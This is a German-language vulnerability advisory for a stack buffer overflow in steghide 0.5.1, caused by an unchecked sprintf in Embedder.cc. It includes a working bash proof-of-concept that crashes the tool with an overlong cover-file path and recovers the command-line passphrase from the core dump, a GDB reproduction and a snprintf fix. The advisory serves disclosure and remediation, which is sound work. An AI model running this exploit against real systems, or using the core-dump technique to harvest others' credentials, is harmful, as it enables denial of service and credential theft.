CVE-2026-31024

Sicherheitslückenbericht: Steghide Stack-basierter Pufferüberlauf & Informationsoffenlegung

Begründung der Schwere:
Die mittlere Schwerebewertung spiegelt die zuverlässige lokale Ausnutzung wider, die sowohl zu Denial of Service als auch zur Offenlegung sensibler Anmeldeinformationen über Core-Dumps führt.

1. Beschreibung

Eine Stack-basierte Pufferüberlauf-Schwachstelle wurde im Kommandozeilentool steghide (Version 0.5.1) identifiziert. Die Schwachstelle wird ausgelöst, wenn ein extrem langer Dateipfad an das Argument -cf (Cover-Datei) übergeben wird.

Obwohl die Anwendung mit Stack-Smashing-Schutz (SSP/Canary) kompiliert ist, der einen sofortigen Arbiträren Code Execution (RCE) durch Abbruch des Prozesses erfolgreich verhindert, erzeugt dieser Abwehrmechanismus eine sekundäre Schwachstelle: Informationsoffenlegung.

Die Analyse bestätigt, dass sensible Laufzeitdaten – insbesondere die über das Argument -p übergebene Passphrase – zum Zeitpunkt des Absturzes im Prozess-Stack-Speicher verbleiben. Auf Systemen, die so konfiguriert sind, dass sie Core-Dumps behalten (üblich in Entwicklung, CI/CD oder falsch konfigurierten Produktionsservern), werden diese sensiblen Daten im Klartext auf die Festplatte geschrieben, sodass Angreifer Anmeldeinformationen wiederherstellen können.

2. Angriffsvoraussetzungen (Bedrohungsmodell)

Um diese Schwachstelle erfolgreich für die Informationsoffenlegung auszunutzen, müssen folgende Bedingungen erfüllt sein:

• Lokaler Zugriff: Der Angreifer muss lokalen Zugriff auf das System haben oder in der Lage sein, Argumente an die Steghide-Binärdatei zu übergeben (z.B. über eine Web-Shell oder ein Wrapper-Skript).

• Core-Dumps aktiviert: Die Zielumgebung muss so konfiguriert sein, dass Core-Dumps erstellt werden (z.B. ulimit -c unlimited oder fs.suid_dumpable=1) und an einem für den Angreifer zugänglichen Ort gespeichert werden.

• Anmeldeinformationen im Speicher: Das Opfer muss den Befehl mit dem Argument -p (Passphrase) ausführen.

3. Technische Analyse

3.1 Ursachenanalyse

Die Schwachstelle befindet sich in src/Embedder.cc. Die Anwendung prüft nicht die Länge des Dateinamens-Strings, bevor dieser mit sprintf in einen Puffer fester Größe formatiert wird.

Verwundbarer Code-Auszug:

// src/Embedder.cc
char buf[200]; 
// Unsafe usage of sprintf without length validation
sprintf(buf, _("embedding %s in %s..."), embstring.c_str(), cvrstring.c_str());

Wenn die kombinierte Länge der Zeichenketten 200 Bytes überschreitet, schreibt sprintf über das Ende von buf hinaus und korrumpiert den Stack.

3.2 Absturzmechanismus

Die Binärdatei ist mit GCC's Stack Protector kompiliert.

1. Überlauf: Die Benutzereingabe überschreibt den Stack, einschließlich des "Canary".
2. Erkennung: Beim Rückkehr der Funktion überprüft das System den Canary.
3. Terminierung: Das System erkennt die Korruption, löst __stack_chk_fail aus und erzeugt SIGABRT.

Da __stack_chk_fail sofort abort() aufruft, wird der Prozess abrupt beendet. Auf modernen Linux-Systemen (z.B. mit systemd-coredump) kann diese schnelle Terminierung manchmal dazu führen, dass der Core-Dump verworfen oder abgeschnitten wird, es sei denn, das System ist explizit konfiguriert, um die Dumperstellung zu erzwingen.

4. Proof of Concept (PoC)

4.1 Automatisiertes Reproduktionsskript

Das folgende Bash-Skript konfiguriert die Umgebung, um einen physischen Core-Dump zu erzwingen, und extrahiert das Passwort.

Voraussetzung: Stellen Sie sicher, dass ulimit gesetzt ist und das Core-Muster auf eine Datei verweist (erfordert Root für die Einrichtung, aber der Exploit läuft als Benutzer).

# Setup (Run once as root/sudo to ensure visibility):
# echo "core" | sudo tee /proc/sys/kernel/core_pattern

Datei: poc.sh

#!/bin/bash
# Steghide 0.5.1 PoC - Stack Overflow & Info Leak
# Usage: ./poc.sh

# 1. Enable core dumps for this session
ulimit -c unlimited

# 2. Define payload: 250 'A' characters (sufficient to overflow 200 byte buffer)
LONG_DIR="crash_test"
LONG_NAME=$(python3 -c "print('A' * 250 + '.wav')")
FULL_PATH="$LONG_DIR/$LONG_NAME"

echo "[*] Creating malicious directory structure..."
rm -rf "$LONG_DIR" core* 2>/dev/null
mkdir -p "$LONG_DIR"

# 3. Generate valid WAV file (Required to bypass initial format checks)
python3 -c "
import struct
with open('$FULL_PATH', 'wb') as f:
    # RIFF Header + WAVEfmt + PCM Audio + Data Chunk
    # We provide a valid header so execution reaches the vulnerable Embedder.cc logic
    header = b'RIFF' + struct.pack('<I', 50000) + b'WAVEfmt ' + struct.pack('<I', 16)
    header += struct.pack('<HHIIHH', 1, 1, 44100, 44100, 2, 16)
    header += b'data' + struct.pack('<I', 49964)
    f.write(header + b'\x00' * 49964)
"

# 4. Create dummy secret
echo "CONFIDENTIAL_DATA" > secret.txt

# 5. Trigger Crash
# The passphrase 'MY_SECRET_PASS' will be loaded into memory before the crash
echo "[!] Launching Steghide..."
steghide embed -cf "$FULL_PATH" -ef secret.txt -p MY_SECRET_PASS

# 6. Verify Leak
echo -e "\n[*] Searching for artifact in core dump..."
CORE_FILE=$(ls core* | head -n 1)

if [ -f "$CORE_FILE" ]; then
    echo "[+] Dump found: $CORE_FILE"
    # Search for the password string inside the binary dump
    strings "$CORE_FILE" | grep "MY_SECRET_PASS" && echo -e "\n[!!!] CRITICAL: Password successfully leaked from crash dump!"
else
    echo "[-] No core file found. Check 'ulimit -c' or '/proc/sys/kernel/core_pattern'."
fi

4.2 Dynamische Analyse (GDB)

Manuelle Überprüfung des Speicherzustands mit GDB (mit Pwndbg-Erweiterung).

Schritte zur Reproduktion:

1. Führen Sie GDB auf der Binärdatei aus:

gdb --args /usr/bin/steghide embed -cf $(python3 -c "print('A'*200 + '/trigger.wav')") -ef secret.txt -p MY_SECRET_PASS

2. Starten Sie den Prozess:

pwndbg> run

3. Bei SIGABRT suchen Sie im Speicher nach der Passphrase:

pwndbg> search "MY_SECRET_PASS"

Beobachtete Ausgabe:

*** buffer overflow detected ***: terminated
Program received signal SIGABRT

pwndbg> search "MY_SECRET_PASS"
Searching for value: 'MY_SECRET_PASS'
[heap]  0x5555555bb1a8 'MY_SECRET_PASS'
[stack] 0x7fffffffd680 'MY_SECRET_PASS'

Fazit: Der sensible String MY_SECRET_PASS bleibt zum Zeitpunkt des Absturzes sowohl im Heap- als auch im Stack-Speichersegment erhalten, was den Vektor der Informationsoffenlegung bestätigt.

5. Auswirkungsbewertung

• Vertraulichkeit (Hoch):

  • Direkter Leak: Der Absturz legt Kommandozeilenargumente (Passwörter) im Speicherauszug offen.
  • Risiko der Privilegienerweiterung: Obwohl Core-Dumps normalerweise die Berechtigungen des Benutzers behalten (0600), können falsch konfigurierte Systeme (mit globalen Dump-Verzeichnissen wie /tmp oder unsicheren umasks) es niedrigprivilegierten Benutzern ermöglichen, Dumps von höherprivilegierten Benutzern (z.B. root) oder Dienstkonten (z.B. www-data) zu lesen, was zum Diebstahl von Anmeldeinformationen führt.

• Verfügbarkeit (Hoch):

  • Die Schwachstelle garantiert einen zuverlässigen Anwendungsabsturz (DoS), der automatisierte Dienste, die Steghide verwenden, stört.

• Integrität (Niedrig):

  • Codeausführung wird derzeit durch SSP/Canaries verhindert.

6. Empfehlungen

1. Code-Korrektur: Ersetzen Sie unsichere sprintf-Aufrufe durch snprintf, um Puffergrößenbeschränkungen durchzusetzen.

// Recommended Fix
snprintf(buf, sizeof(buf), _("embedding %s in %s..."), ...);